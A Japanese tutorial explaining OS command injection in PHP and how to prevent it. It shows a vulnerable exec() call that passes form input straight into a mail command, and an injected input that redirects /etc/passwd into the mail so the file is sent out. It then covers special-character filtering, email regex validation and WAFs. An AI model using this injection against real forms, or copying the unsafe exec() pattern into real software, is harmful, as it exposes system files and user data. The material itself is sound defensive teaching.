OSコマンドインジェクションとは
OSコマンドインジェクションとは、ユーザーの入力フォームに悪意のある文字列を入力し送信することで、OSに不正な命令を行うことです。
OSコマンドインジェクションの危険性
例えば、フォームで受け取ったメールアドレスを以下のように処理するとします。
$address = $_POST['address'];
$message_file = "/var/data/message.txt";
$rtn = exec('mail -s "タイトル" ' . $address . ' < ' . $message_file);
exec()メソッドに渡された引数がそのままコマンドとして実行されます。
入力フォームに普通にメールアドレス「xxx@example.com」を入力すると、
以下のようなコマンドが実行され、メールが送信される仕組みです。
$ mail -s "タイトル" xxx@example.com < /var/data/message.txt
「/var/data」配下のテキストファイル「message.txt」に書かれている内容が、
メールアドレス「xxx@example.com」に送信されます。
ここで、セキュリティ対策を行なっていないフォームに、
悪意のある文字列を入力し実行したらどうなるでしょう。
例えば、以下のような文字列。
xxx@example.com < /etc/passwd #
これをフォームに入力すると、exec()メソッドによって以下のようなコマンドが実行されます。
$ mail -s “タイトル” xxx@example.com < /etc/passwd # < /var/data/message.txt
「#」以降の部分はコメントアウトされるので、実際に実行されるコマンドは以下の通りです。
$ mail -s "タイトル" xxx@example.com < /etc/passwd
この結果、「/etc/passwd」の情報が「xxx@example.com」宛に送信されてしまいます。
対策
コマンドを実行させる処理を実装する際は、
以下のようなバリデーション対策をしっかり行いましょう。
特殊文字はエスケープするか、または処理を中止する
例えば、以下のような特殊文字は、エスケープするか処理を中止しましょう。
; | & ` ( ) $ < > * ? { } [ ] !
メールアドレスの形式か判定する
例えば以下のようにすることで、
入力された文字列がメールアドレスの形式か、判定することができます。
$email = $_POST['email'];
$reg_str = "/^([a-zA-Z0-9])+([a-zA-Z0-9\._-])*@([a-zA-Z0-9_-])+([a-zA-Z0-9\._-]+)+$/";
if (!preg_match($reg_str, $email)) {
// メールアドレスの形式でなかった場合、処理を中止
return false;
}
// メールアドレスの形式であった場合、処理を続行
WAFを導入する
WAF(Web Application Firewall)とは、WEBアプリケーションに特化したファイアウォールのことです。
料金はかかりますが、大規模な開発なら導入するのもアリかもしれません。
コメント